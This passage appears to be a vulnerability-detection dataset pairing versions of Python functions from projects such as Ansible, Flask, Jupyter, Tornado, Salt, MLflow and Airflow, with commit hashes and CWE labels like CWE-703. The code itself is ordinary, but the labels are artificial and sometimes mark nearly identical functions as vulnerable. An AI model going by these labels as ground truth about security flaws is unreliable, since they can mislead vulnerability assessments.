                virtual_facts['virtualization_type'] = 'VMware'
                virtual_facts['virtualization_role'] = 'guest'

        # If none of the above matches, return 'NA' for virtualization_type
        # and virtualization_role. This allows for proper grouping.
        virtual_facts['virtualization_type'] = 'NA'
        virtual_facts['virtualization_role'] = 'NA'

        return virtual_facts",CWE-703,ansible/ansible,f95adcce8e4a448e7547fb257b8e06f872ba6c5d,"def get_virtual_facts(self):
        virtual_facts = {}
        # lxc/docker
        if os.path.exists('/proc/1/cgroup'):
            for line in get_file_lines('/proc/1/cgroup'):
                if re.search(r'/docker(/|-[0-9a-f]+\.scope)', line):
                    virtual_facts['virtualization_type'] = 'docker'
                    virtual_facts['virtualization_role'] = 'guest'
                    return virtual_facts
                if re.search('/lxc/', line) or re.search('/machine.slice/machine-lxc', line):
                    virtual_facts['virtualization_type'] = 'lxc'
                    virtual_facts['virtualization_role'] = 'guest'
                    return virtual_facts

        # lxc does not always appear in cgroups anymore but sets 'container=lxc' environment var, requires root privs
        if os.path.exists('/proc/1/environ'):
            for line in get_file_lines('/proc/1/environ'):
                if re.search('container=lxc', line):
                    virtual_facts['virtualization_type'] = 'lxc'
                    virtual_facts['virtualization_role'] = 'guest'
                    return virtual_facts

        if os.path.exists('/proc/vz') and not os.path.exists('/proc/lve'):
            virtual_facts['virtualization_type'] = 'openvz'
            if os.path.exists('/proc/bc'):
                virtual_facts['virtualization_role'] = 'host'
            else:
                virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        systemd_container = get_file_content('/run/systemd/container')
        if systemd_container:
            virtual_facts['virtualization_type'] = systemd_container
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        if os.path.exists(""/proc/xen""):
            virtual_facts['virtualization_type'] = 'xen'
            virtual_facts['virtualization_role'] = 'guest'
            try:
                for line in get_file_lines('/proc/xen/capabilities'):
                    if ""control_d"" in line:
                        virtual_facts['virtualization_role'] = 'host'
            except IOError:
                pass
            return virtual_facts

        product_name = get_file_content('/sys/devices/virtual/dmi/id/product_name')

        if product_name in ['KVM', 'Bochs']:
            virtual_facts['virtualization_type'] = 'kvm'
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        if product_name == 'RHEV Hypervisor':
            virtual_facts['virtualization_type'] = 'RHEV'
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        if product_name in ['VMware Virtual Platform', 'VMware7,1']:
            virtual_facts['virtualization_type'] = 'VMware'
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        if product_name in ['OpenStack Compute', 'OpenStack Nova']:
            virtual_facts['virtualization_type'] = 'openstack'
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        bios_vendor = get_file_content('/sys/devices/virtual/dmi/id/bios_vendor')

        if bios_vendor == 'Xen':
            virtual_facts['virtualization_type'] = 'xen'
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        if bios_vendor == 'innotek GmbH':
            virtual_facts['virtualization_type'] = 'virtualbox'
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        sys_vendor = get_file_content('/sys/devices/virtual/dmi/id/sys_vendor')

        # FIXME: This does also match hyperv
        if sys_vendor == 'Microsoft Corporation':
            virtual_facts['virtualization_type'] = 'VirtualPC'
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        if sys_vendor == 'Parallels Software International Inc.':
            virtual_facts['virtualization_type'] = 'parallels'
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        if sys_vendor == 'QEMU':
            virtual_facts['virtualization_type'] = 'kvm'
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        if sys_vendor == 'oVirt':
            virtual_facts['virtualization_type'] = 'kvm'
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        if sys_vendor == 'OpenStack Foundation':
            virtual_facts['virtualization_type'] = 'openstack'
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        if os.path.exists('/proc/self/status'):
            for line in get_file_lines('/proc/self/status'):
                if re.match(r'^VxID: \d+', line):
                    virtual_facts['virtualization_type'] = 'linux_vserver'
                    if re.match(r'^VxID: 0', line):
                        virtual_facts['virtualization_role'] = 'host'
                    else:
                        virtual_facts['virtualization_role'] = 'guest'
                    return virtual_facts

        if os.path.exists('/proc/cpuinfo'):
            for line in get_file_lines('/proc/cpuinfo'):
                if re.match('^model name.*QEMU Virtual CPU', line):
                    virtual_facts['virtualization_type'] = 'kvm'
                elif re.match('^vendor_id.*User Mode Linux', line):
                    virtual_facts['virtualization_type'] = 'uml'
                elif re.match('^model name.*UML', line):
                    virtual_facts['virtualization_type'] = 'uml'
                elif re.match('^machine.*CHRP IBM pSeries .emulated by qemu.', line):
                    virtual_facts['virtualization_type'] = 'kvm'
                elif re.match('^vendor_id.*PowerVM Lx86', line):
                    virtual_facts['virtualization_type'] = 'powervm_lx86'
                elif re.match('^vendor_id.*IBM/S390', line):
                    virtual_facts['virtualization_type'] = 'PR/SM'
                    lscpu = self.module.get_bin_path('lscpu')
                    if lscpu:
                        rc, out, err = self.module.run_command([""lscpu""])
                        if rc == 0:
                            for line in out.splitlines():
                                data = line.split("":"", 1)
                                key = data[0].strip()
                                if key == 'Hypervisor':
                                    virtual_facts['virtualization_type'] = data[1].strip()
                    else:
                        virtual_facts['virtualization_type'] = 'ibm_systemz'
                else:
                    continue
                if virtual_facts['virtualization_type'] == 'PR/SM':
                    virtual_facts['virtualization_role'] = 'LPAR'
                else:
                    virtual_facts['virtualization_role'] = 'guest'
                return virtual_facts

        # Beware that we can have both kvm and virtualbox running on a single system
        if os.path.exists(""/proc/modules"") and os.access('/proc/modules', os.R_OK):
            modules = []
            for line in get_file_lines(""/proc/modules""):
                data = line.split("" "", 1)
                modules.append(data[0])

            if 'kvm' in modules:

                if os.path.isdir('/rhev/'):

                    # Check whether this is a RHEV hypervisor (is vdsm running ?)
                    for f in glob.glob('/proc/[0-9]*/comm'):
                        try:
                            if open(f).read().rstrip() == 'vdsm':
                                virtual_facts['virtualization_type'] = 'RHEV'
                                break
                        except:
                            pass
                    else:
                        virtual_facts['virtualization_type'] = 'kvm'

                else:
                    virtual_facts['virtualization_type'] = 'kvm'
                    virtual_facts['virtualization_role'] = 'host'

                return virtual_facts

            if 'vboxdrv' in modules:
                virtual_facts['virtualization_type'] = 'virtualbox'
                virtual_facts['virtualization_role'] = 'host'
                return virtual_facts

            if 'virtio' in modules:
                virtual_facts['virtualization_type'] = 'kvm'
                virtual_facts['virtualization_role'] = 'guest'
                return virtual_facts

        # In older Linux Kernel versions, /sys filesystem is not available
        # dmidecode is the safest option to parse virtualization related values
        dmi_bin = self.module.get_bin_path('dmidecode')
        (rc, out, err) = self.module.run_command('%s -s system-product-name' % dmi_bin)
        if rc == 0:
            # Strip out commented lines (specific dmidecode output)
            vendor_name = ''.join([line.strip() for line in out.splitlines() if not line.startswith('#')])
            if vendor_name in ['VMware Virtual Platform', 'VMware7,1']:
                virtual_facts['virtualization_type'] = 'VMware'
                virtual_facts['virtualization_role'] = 'guest'

        # If none of the above matches, return 'NA' for virtualization_type
        # and virtualization_role. This allows for proper grouping.
        virtual_facts['virtualization_type'] = 'NA'
        virtual_facts['virtualization_role'] = 'NA'

        return virtual_facts"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/ctx.py,0,"def after_this_request(f: AfterRequestCallable) -> AfterRequestCallable:
    """"""Executes a function after this request.  This is useful to modify
    response objects.  The function is passed the response object and has
    to return the same or a new one.

    Example::

        @app.route('/')
        def index():
            @after_this_request
            def add_header(response):
                response.headers['X-Foo'] = 'Parachute'
                return response
            return 'Hello World!'

    This is more useful if a function other than the view function wants to
    modify a response.  For instance think of a decorator that wants to add
    some headers without converting the return value into a response object.

    .. versionadded:: 0.9
    """"""
    top = _request_ctx_stack.top

    if top is None:
        raise RuntimeError(
            ""This decorator can only be used when a request context is""
            "" active, such as within a view function.""
        )

    top._after_request_functions.append(f)
    return f",,pallets/flask,6389c07530fe53f64e4c8de8dfdfceb4f088d197,"def after_this_request(f: AfterRequestCallable) -> AfterRequestCallable:
    """"""Executes a function after this request.  This is useful to modify
    response objects.  The function is passed the response object and has
    to return the same or a new one.

    Example::

        @app.route('/')
        def index():
            @after_this_request
            def add_header(response):
                response.headers['X-Foo'] = 'Parachute'
                return response
            return 'Hello World!'

    This is more useful if a function other than the view function wants to
    modify a response.  For instance think of a decorator that wants to add
    some headers without converting the return value into a response object.

    .. versionadded:: 0.9
    """"""
    _request_ctx_stack.top._after_request_functions.append(f)
    return f"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/contents/manager.py,0,"def trust_notebook(self, path):
        """"""Explicitly trust a notebook

        Parameters
        ----------
        path : string
            The path of a notebook
        """"""
        model = self.get(path)
        nb = model['content']
        self.log.warning(""Trusting notebook %s"", path)
        self.notary.mark_cells(nb, True)
        self.check_and_sign(nb, path)",,jupyter/notebook,2208917c05070a66b15161efc1fcaaaca23ad056,"def trust_notebook(self, path):
        """"""Explicitly trust a notebook

        Parameters
        ----------
        path : string
            The path of a notebook
        """"""
        model = self.get(path)
        nb = model['content']
        self.log.warning(""Trusting notebook %s"", path)
        self.notary.mark_cells(nb, True)
        self.save(model, path)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/nbextensions.py,0,"def _should_copy(src, dest, logger=None):
    """"""Should a file be copied, if it doesn't exist, or is newer?

    Returns whether the file needs to be updated.

    Parameters
    ----------

    src : string
        A path that should exist from which to copy a file
    src : string
        A path that might exist to which to copy a file
    logger : Jupyter logger [optional]
        Logger instance to use
    """"""
    if not os.path.exists(dest):
        return True
    if os.stat(src).st_mtime - os.stat(dest).st_mtime > 1e-6:
        # we add a fudge factor to work around a bug in python 2.x
        # that was fixed in python 3.x: https://bugs.python.org/issue12904
        if logger:
            logger.warn(""Out of date: %s"" % dest)
        return True
    if logger:
        logger.info(""Up to date: %s"" % dest)
    return False",,jupyter/notebook,8cddc00a2551a93352cedd9e8da632b441409c4c,"def _should_copy(src, dest, logger=None):
    """"""Should a file be copied, if it doesn't exist, or is newer?

    Returns whether the file needs to be updated.

    Parameters
    ----------

    src : string
        A path that should exist from which to copy a file
    src : string
        A path that might exist to which to copy a file
    logger : Jupyter logger [optional]
        Logger instance to use
    """"""
    if not os.path.exists(dest):
        return True
    if os.stat(src).st_mtime - os.stat(dest).st_mtime > 1e-6:
        # we add a fudge factor to work around a bug in python 2.x
        # that was fixed in python 3.x: http://bugs.python.org/issue12904
        if logger:
            logger.warn(""Out of date: %s"" % dest)
        return True
    if logger:
        logger.info(""Up to date: %s"" % dest)
    return False"
,UNKNOWN,UNKNOWN,tornado/test/auth_test.py,1,"def get(self, screen_name):
        if screen_name == 'error':
            raise HTTPError(500)
        assert 'oauth_nonce' in self.request.arguments
        assert 'oauth_timestamp' in self.request.arguments
        assert 'oauth_signature' in self.request.arguments
        assert self.get_argument('oauth_consumer_key') == 'test_twitter_consumer_key'
        assert self.get_argument('oauth_signature_method') == 'HMAC-SHA1'
        assert self.get_argument('oauth_version') == '1.0'
        assert self.get_argument('oauth_token') == 'hjkl'
        self.write(dict(screen_name=screen_name, name=screen_name.capitalize()))",CWE-703,tornadoweb/tornado,c938106f0c4621ea62069998598a54c91e916441,"def get(self, screen_name):
        if screen_name == 'error':
            raise HTTPError(500)
        assert 'oauth_nonce' in self.request.arguments
        assert 'oauth_timestamp' in self.request.arguments
        assert 'oauth_signature' in self.request.arguments
        assert self.get_argument('oauth_consumer_key') == 'test_twitter_consumer_key'
        assert self.get_argument('oauth_signature_method') == 'HMAC-SHA1'
        assert self.get_argument('oauth_version') == '1.0'
        assert self.get_argument('oauth_token') == 'hjkl'
        self.write(dict(screen_name=screen_name, name=screen_name.capitalize()))"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/ctx.py,0,"def __init__(self, app, environ, request=None, session=None):
        self.app = app
        if request is None:
            request = app.request_class(environ)
        self.request = request
        self.url_adapter = None
        try:
            self.url_adapter = app.create_url_adapter(self.request)
        except HTTPException as e:
            self.request.routing_exception = e
        self.flashes = None
        self.session = session

        # Request contexts can be pushed multiple times and interleaved with
        # other request contexts.  Now only if the last level is popped we
        # get rid of them.  Additionally if an application context is missing
        # one is created implicitly so for each level we add this information
        self._implicit_app_ctx_stack = []

        # indicator if the context was preserved.  Next time another context
        # is pushed the preserved context is popped.
        self.preserved = False

        # remembers the exception for pop if there is one in case the context
        # preservation kicks in.
        self._preserved_exc = None

        # Functions that should be executed after the request on the response
        # object.  These will be called before the regular ""after_request""
        # functions.
        self._after_request_functions = []

        if self.url_adapter is not None:
            self.match_request()",,pallets/flask,cd4023d9d2ab630ce4f95856f065072ef8badb2b,"def __init__(self, app, environ, request=None, session=None):
        self.app = app
        if request is None:
            request = app.request_class(environ)
        self.request = request
        self.url_adapter = None
        try:
            self.url_adapter = app.create_url_adapter(self.request)
        except HTTPException as e:
            self.request.routing_exception = e
        self.flashes = None
        self.session = session

        # Request contexts can be pushed multiple times and interleaved with
        # other request contexts.  Now only if the last level is popped we
        # get rid of them.  Additionally if an application context is missing
        # one is created implicitly so for each level we add this information
        self._implicit_app_ctx_stack = []

        # indicator if the context was preserved.  Next time another context
        # is pushed the preserved context is popped.
        self.preserved = False

        # remembers the exception for pop if there is one in case the context
        # preservation kicks in.
        self._preserved_exc = None

        # Functions that should be executed after the request on the response
        # object.  These will be called before the regular ""after_request""
        # functions.
        self._after_request_functions = []

        if self.url_adapter is not None:
            self.match_request()"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/wheel/key.py,0,"def delete_dict(match):
    """"""
    Delete keys based on a dict of keys. Returns a dictionary.

    match
        The dictionary of keys to delete.

    .. code-block:: python

        >>> wheel.cmd_async({'fun': 'key.delete_dict',
        'match': {
            'minions': [
                'jerry',
                'stuart',
                'bob',
            ],
        }})
        {'jid': '20160826201244808521', 'tag': 'salt/wheel/20160826201244808521'}
    """"""
    skey = get_key(__opts__)
    return skey.delete_key(match_dict=match)",,saltstack/salt,a421ad01926af5f6e7528147bfa68aa6f11a0b22,"def delete_dict(match):
    """"""
    Delete keys based on a dict of keys. Returns a dictionary.

    match
        The dictionary of keys to delete.

    .. code-block:: python

        >>> wheel.cmd_async({'fun': 'key.delete_dict',
        'match': {
            'minions': [
                'jerry',
                'stuart',
                'bob',
            ],
        })
        {'jid': '20160826201244808521', 'tag': 'salt/wheel/20160826201244808521'}
    """"""
    skey = get_key(__opts__)
    return skey.delete_key(match_dict=match)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/iostream.py,0,"def __init__(self, *args, **kwargs):
        """"""The ``ssl_options`` keyword argument may either be a dictionary
        of keywords arguments for `ssl.wrap_socket`, or an `ssl.SSLContext`
        object.
        """"""
        self._ssl_options = kwargs.pop('ssl_options', {})
        super(SSLIOStream, self).__init__(*args, **kwargs)
        self._ssl_accepting = True
        self._handshake_reading = False
        self._handshake_writing = False
        self._ssl_connect_callback = None
        self._server_hostname = None

        # If the socket is already connected, attempt to start the handshake.
        try:
            self.socket.getpeername()
        except socket.error:
            pass
        else:
            # Indirectly start the handshake, which will run on the next
            # IOLoop iteration and then the real IO state will be set in
            # _handle_events.
            self._add_io_state(self.io_loop.WRITE)",CWE-Unknown,tornadoweb/tornado,1037f0830a38f4e5d0ac93d624b6d7f64a72010a,"def __init__(self, *args, **kwargs):
        """"""The ``ssl_options`` keyword argument may either be a dictionary
        of keywords arguments for `ssl.wrap_socket`, or an `ssl.SSLContext`
        object.
        """"""
        self._ssl_options = kwargs.pop('ssl_options', {})
        super(SSLIOStream, self).__init__(*args, **kwargs)
        self._ssl_accepting = True
        self._handshake_reading = False
        self._handshake_writing = False
        self._ssl_connect_callback = None
        self._server_hostname = None
        self._initiate_handshake()"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/tracking/abstract_store.py,0,"def search_experiments(
        self,
        view_type=ViewType.ACTIVE_ONLY,
        max_results=SEARCH_MAX_RESULTS_DEFAULT,
        filter_string=None,
        order_by=None,
        page_token=None,
    ):
        """"""
        Search for experiments that match the specified search query.

        :param view_type: One of enum values ``ACTIVE_ONLY``, ``DELETED_ONLY``, or ``ALL``
                          defined in :py:class:`mlflow.entities.ViewType`.
        :param max_results: Maximum number of experiments desired. Certain server backend may apply
                            its own limit.
        :param filter_string:
            Filter query string (e.g., ``""name = 'my_experiment'""``), defaults to searching for all
            experiments. The following identifiers, comparators, and logical operators are
            supported.

            Identifiers
              - ``name``: Experiment name.
              - ``tags.<tag_key>``: Experiment tag. If ``tag_key`` contains
                spaces, it must be wrapped with backticks (e.g., ``""tags.`extra key`""``).

            Comparators
              - ``=``: Equal to.
              - ``!=``: Not equal to.
              - ``LIKE``: Case-sensitive pattern match.
              - ``ILIKE``: Case-insensitive pattern match.

            Logical operators
              - ``AND``: Combines two sub-queries and returns True if both of them are True.

        :param order_by:
            List of columns to order by. The ``order_by`` column can contain an optional ``DESC`` or
            ``ASC`` value (e.g., ``""name DESC""``). The default is ``ASC`` so ``""name""`` is
            equivalent to ``""name ASC""``. The following identifiers are supported.

            - ``name``: Experiment name.
            - ``experiment_id``: Experiment ID.

        :param page_token: Token specifying the next page of results. It should be obtained from
                           a ``search_experiments`` call.
        :return: A :py:class:`PagedList <mlflow.store.entities.PagedList>` of
                 :py:class:`Experiment <mlflow.entities.Experiment>` objects. The pagination token
                 for the next page can be obtained via the ``token`` attribute of the object.
        """"""
        pass",,mlflow/mlflow,80564db826e5a4ce9d1a18eee36d252b03e1ab6c,"def search_experiments(
        self,
        view_type=ViewType.ACTIVE_ONLY,
        max_results=SEARCH_MAX_RESULTS_DEFAULT,
        filter_string=None,
        order_by=None,
        page_token=None,
    ):
        """"""
        Search for experiments that match the specified search query.

        :param view_type: One of enum values ``ACTIVE_ONLY``, ``DELETED_ONLY``, or ``ALL``
                          defined in :py:class:`mlflow.entities.ViewType`.
        :param max_results: Maximum number of experiments desired. Certain server backend may apply
                            its own limit.
        :param filter_string:
            Filter query string (e.g., ``""name = 'my_experiment'""``), defaults to searching for all
            experiments. The following identifiers, comparators, and logical operators are
            supported.

            Identifiers
              - ``name``: Experiment name.
              - ``tags.<tag_key>``: Experiment tag. If ``tag_key`` contains
                spaces, it must be wrapped with backticks (e.g., ``""tags.`extra key`""``).

            Comparators
              - ``=``: Equal to.
              - ``!=``: Not equal to.
              - ``LIKE``: Case-sensitive pattern match.
              - ``ILIKE``: Case-insensitive sensitive pattern match.

            Logical operators
              - ``AND``: Combines two sub-queries and returns True if both of them are True.

        :param order_by:
            List of columns to order by. The ``order_by`` column can contain an optional ``DESC`` or
            ``ASC`` value (e.g., ``""name DESC""``). The default is ``ASC`` so ``""name""`` is
            equivalent to ``""name ASC""``. The following identifiers are supported.

            - ``name``: Experiment name.
            - ``experiment_id``: Experiment ID.

        :param page_token: Token specifying the next page of results. It should be obtained from
                           a ``search_experiments`` call.
        :return: A :py:class:`PagedList <mlflow.store.entities.PagedList>` of
                 :py:class:`Experiment <mlflow.entities.Experiment>` objects. The pagination token
                 for the next page can be obtained via the ``token`` attribute of the object.
        """"""
        pass"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/pipelines/test_ingest_step.py,0,"def test_ingest_throws_when_spark_unavailable_for_spark_based_dataset(spark_df, tmp_path):
    dataset_path = tmp_path / ""test.delta""
    spark_df.write.format(""delta"").save(str(dataset_path))

    with mock.patch(
        ""mlflow.pipelines.steps.ingest.datasets._get_active_spark_session"",
        side_effect=Exception(""Spark unavailable""),
    ), pytest.raises(
        MlflowException, match=""Encountered an error while searching for an active Spark session""
    ):
        IngestStep.from_pipeline_config(
            pipeline_config={
                ""data"": {
                    ""format"": ""delta"",
                    ""location"": str(dataset_path),
                }
            },
            pipeline_root=os.getcwd(),
        ).run(output_directory=tmp_path)",,mlflow/mlflow,2305eb5c2397f5739a10bda559790be0b5a05ad9,"def test_ingest_throws_when_spark_unavailable_for_spark_based_dataset(spark_df, tmp_path):
    dataset_path = tmp_path / ""test.delta""
    spark_df.write.format(""delta"").save(str(dataset_path))

    with mock.patch(
        ""mlflow.pipelines.steps.ingest.datasets._get_active_spark_session"",
        side_effect=Exception(""Spark unavailable""),
    ), pytest.raises(
        MlflowException, match=""Encountered an error while searching for an active Spark session""
    ):
        IngestStep.from_pipeline_config(
            pipeline_config={
                ""data"": {
                    ""format"": ""delta"",
                    ""location"": str(dataset_path),
                }
            },
            pipeline_root=os.getcwd(),
        ).run(output_directory=tmp_path)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/h2o.py,0,"def get_default_conda_env():
    """"""
    :return: The default Conda environment for MLflow Models produced by calls to
             :func:`save_model()` and :func:`log_model()`.
    """"""
    import h2o

    return _mlflow_conda_env(
        additional_conda_deps=None,
        additional_pip_deps=[
            ""h2o=={}"".format(h2o.__version__),
        ],
        additional_conda_channels=None)",,mlflow/mlflow,4866f5a8f6d56bfe57b63db3588d62dc20e23a89,"def get_default_conda_env():
    """"""
    :return: The default Conda environment for MLflow Models produced by calls to
    :func:`save_model()` and :func:`log_model()`.
    """"""
    import h2o

    return _mlflow_conda_env(
        additional_conda_deps=None,
        additional_pip_deps=[
            ""h2o=={}"".format(h2o.__version__),
        ],
        additional_conda_channels=None)"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/dag_processing/test_collection.py,1,"def test_serialized_dags_are_written_to_db_on_sync(self, testing_dag_bundle, session):
        """"""
        Test that when dagbag.sync_to_db is called the DAGs are Serialized and written to DB
        even when dagbag.read_dags_from_db is False
        """"""
        serialized_dags_count = session.query(func.count(SerializedDagModel.dag_id)).scalar()
        assert serialized_dags_count == 0

        dag = DAG(dag_id=""test"")

        update_dag_parsing_results_in_db(""testing"", None, [dag], dict(), set(), session)

        new_serialized_dags_count = session.query(func.count(SerializedDagModel.dag_id)).scalar()
        assert new_serialized_dags_count == 1",CWE-703,apache/airflow,407753c3369b690717d2f80fa483ecb5bb0aead7,"def test_serialized_dags_are_written_to_db_on_sync(self, testing_dag_bundle, session):
        """"""
        Test that when dagbag.sync_to_db is called the DAGs are Serialized and written to DB
        even when dagbag.read_dags_from_db is False
        """"""
        serialized_dags_count = session.query(func.count(SerializedDagModel.dag_id)).scalar()
        assert serialized_dags_count == 0

        dag = DAG(dag_id=""test"")

        update_dag_parsing_results_in_db(""testing"", None, [dag], dict(), set(), session)

        new_serialized_dags_count = session.query(func.count(SerializedDagModel.dag_id)).scalar()
        assert new_serialized_dags_count == 1"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/utils/file_utils.py,0,"def yield_file_in_chunks(file, chunk_size=100000000):
    """"""
    Generator to chunk-ify the inputted file based on the chunk-size.
    """"""
    with open(file, ""rb"") as f:
        while True:
            chunk = f.read(chunk_size)
            if chunk:
                yield chunk
            else:
                break",,mlflow/mlflow,8ebd6663f773ccec29f0db93a345e3b7a232c7b8,"def yield_file_in_chunks(file, chunk_size=100000000):
    """"""
    Generator to chunk-ify the inputted file based on the chunk-size.
    """"""
    with open(file, ""rb"") as f:
        while True:
            chunk = f.read(chunk_size)
            if chunk:
                yield chunk
            else:
                break"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/amazon/ec2_eni.py,0,"def create_eni(connection, vpc_id, module):

    instance_id = module.params.get(""instance_id"")
    attached = module.params.get(""attached"")
    if instance_id == 'None':
        instance_id = None
    device_index = module.params.get(""device_index"")
    subnet_id = module.params.get('subnet_id')
    private_ip_address = module.params.get('private_ip_address')
    description = module.params.get('description')
    security_groups = get_ec2_security_group_ids_from_names(module.params.get('security_groups'), connection, vpc_id=vpc_id, boto3=False)
    secondary_private_ip_addresses = module.params.get(""secondary_private_ip_addresses"")
    secondary_private_ip_address_count = module.params.get(""secondary_private_ip_address_count"")
    changed = False

    try:
        eni = find_eni(connection, module)
        if eni is None:
            eni = connection.create_network_interface(subnet_id, private_ip_address, description, security_groups)
            if attached is True and instance_id is not None:
                try:
                    eni.attach(instance_id, device_index)
                except BotoServerError:
                    eni.delete()
                    raise
                # Wait to allow creation / attachment to finish
                wait_for_eni(eni, ""attached"")
                eni.update()

            if secondary_private_ip_address_count is not None:
                try:
                    connection.assign_private_ip_addresses(network_interface_id=eni.id, secondary_private_ip_address_count=secondary_private_ip_address_count)
                except BotoServerError:
                    eni.delete()
                    raise

            if secondary_private_ip_addresses is not None:
                try:
                    connection.assign_private_ip_addresses(network_interface_id=eni.id, private_ip_addresses=secondary_private_ip_addresses)
                except BotoServerError:
                    eni.delete()
                    raise

            changed = True

    except BotoServerError as e:
        module.fail_json(msg=e.message)

    module.exit_json(changed=changed, interface=get_eni_info(eni))",,ansible/ansible,305c88700de7fc17de80b2f58fb6d44180573e61,"def create_eni(connection, vpc_id, module):

    instance_id = module.params.get(""instance_id"")
    attached = module.params.get(""attached"")
    if instance_id == 'None':
        instance_id = None
    device_index = module.params.get(""device_index"")
    subnet_id = module.params.get('subnet_id')
    private_ip_address = module.params.get('private_ip_address')
    description = module.params.get('description')
    security_groups = get_ec2_security_group_ids_from_names(module.params.get('security_groups'), connection, vpc_id=vpc_id, boto3=False)
    secondary_private_ip_addresses = module.params.get(""secondary_private_ip_addresses"")
    secondary_private_ip_address_count = module.params.get(""secondary_private_ip_address_count"")
    changed = False

    try:
        eni = find_eni(connection, module)
        if eni is None:
            eni = connection.create_network_interface(subnet_id, private_ip_address, description, security_groups)
            if attached == True and instance_id is not None:
                try:
                    eni.attach(instance_id, device_index)
                except BotoServerError:
                    eni.delete()
                    raise
                # Wait to allow creation / attachment to finish
                wait_for_eni(eni, ""attached"")
                eni.update()

            if secondary_private_ip_address_count is not None:
                try:
                    connection.assign_private_ip_addresses(network_interface_id=eni.id, secondary_private_ip_address_count=secondary_private_ip_address_count)
                except BotoServerError:
                    eni.delete()
                    raise

            if secondary_private_ip_addresses is not None:
                try:
                    connection.assign_private_ip_addresses(network_interface_id=eni.id, private_ip_addresses=secondary_private_ip_addresses)
                except BotoServerError:
                    eni.delete()
                    raise

            changed = True

    except BotoServerError as e:
        module.fail_json(msg=e.message)

    module.exit_json(changed=changed, interface=get_eni_info(eni))"
,UNKNOWN,UNKNOWN,tests/models/test_baseoperator.py,1,"def test_chain(self):
        dag = DAG(dag_id=""test_chain"", schedule=None, start_date=datetime.now())

        # Begin test for classic operators with `EdgeModifiers`
        [label1, label2] = [Label(label=f""label{i}"") for i in range(1, 3)]
        [op1, op2, op3, op4, op5, op6] = [BaseOperator(task_id=f""t{i}"", dag=dag) for i in range(1, 7)]
        chain(op1, [label1, label2], [op2, op3], [op4, op5], op6)

        assert {op2, op3} == set(op1.get_direct_relatives(upstream=False))
        assert [op4] == op2.get_direct_relatives(upstream=False)
        assert [op5] == op3.get_direct_relatives(upstream=False)
        assert {op4, op5} == set(op6.get_direct_relatives(upstream=True))

        assert dag.get_edge_info(upstream_task_id=op1.task_id, downstream_task_id=op2.task_id) == {
            ""label"": ""label1""
        }
        assert dag.get_edge_info(upstream_task_id=op1.task_id, downstream_task_id=op3.task_id) == {
            ""label"": ""label2""
        }

        # Begin test for `XComArgs` with `EdgeModifiers`
        [xlabel1, xlabel2] = [Label(label=f""xcomarg_label{i}"") for i in range(1, 3)]
        [xop1, xop2, xop3, xop4, xop5, xop6] = [
            task_decorator(task_id=f""xcomarg_task{i}"", python_callable=lambda: None, dag=dag)()
            for i in range(1, 7)
        ]
        chain(xop1, [xlabel1, xlabel2], [xop2, xop3], [xop4, xop5], xop6)

        assert {xop2.operator, xop3.operator} == set(xop1.operator.get_direct_relatives(upstream=False))
        assert [xop4.operator] == xop2.operator.get_direct_relatives(upstream=False)
        assert [xop5.operator] == xop3.operator.get_direct_relatives(upstream=False)
        assert {xop4.operator, xop5.operator} == set(xop6.operator.get_direct_relatives(upstream=True))

        assert dag.get_edge_info(
            upstream_task_id=xop1.operator.task_id, downstream_task_id=xop2.operator.task_id
        ) == {""label"": ""xcomarg_label1""}
        assert dag.get_edge_info(
            upstream_task_id=xop1.operator.task_id, downstream_task_id=xop3.operator.task_id
        ) == {""label"": ""xcomarg_label2""}

        # Begin test for `TaskGroups`
        [tg1, tg2] = [TaskGroup(group_id=f""tg{i}"", dag=dag) for i in range(1, 3)]
        [op1, op2] = [BaseOperator(task_id=f""task{i}"", dag=dag) for i in range(1, 3)]
        [tgop1, tgop2] = [
            BaseOperator(task_id=f""task_group_task{i}"", task_group=tg1, dag=dag) for i in range(1, 3)
        ]
        [tgop3, tgop4] = [
            BaseOperator(task_id=f""task_group_task{i}"", task_group=tg2, dag=dag) for i in range(1, 3)
        ]
        chain(op1, tg1, tg2, op2)

        assert {tgop1, tgop2} == set(op1.get_direct_relatives(upstream=False))
        assert {tgop3, tgop4} == set(tgop1.get_direct_relatives(upstream=False))
        assert {tgop3, tgop4} == set(tgop2.get_direct_relatives(upstream=False))
        assert [op2] == tgop3.get_direct_relatives(upstream=False)
        assert [op2] == tgop4.get_direct_relatives(upstream=False)",CWE-703,apache/airflow,e100d7891f6c44075d24bde212df9d0f976ed20d,"def test_chain(self):
        dag = DAG(dag_id=""test_chain"", schedule=None, start_date=datetime.now())

        # Begin test for classic operators with `EdgeModifiers`
        [label1, label2] = [Label(label=f""label{i}"") for i in range(1, 3)]
        [op1, op2, op3, op4, op5, op6] = [BaseOperator(task_id=f""t{i}"", dag=dag) for i in range(1, 7)]
        chain(op1, [label1, label2], [op2, op3], [op4, op5], op6)

        assert {op2, op3} == set(op1.get_direct_relatives(upstream=False))
        assert [op4] == op2.get_direct_relatives(upstream=False)
        assert [op5] == op3.get_direct_relatives(upstream=False)
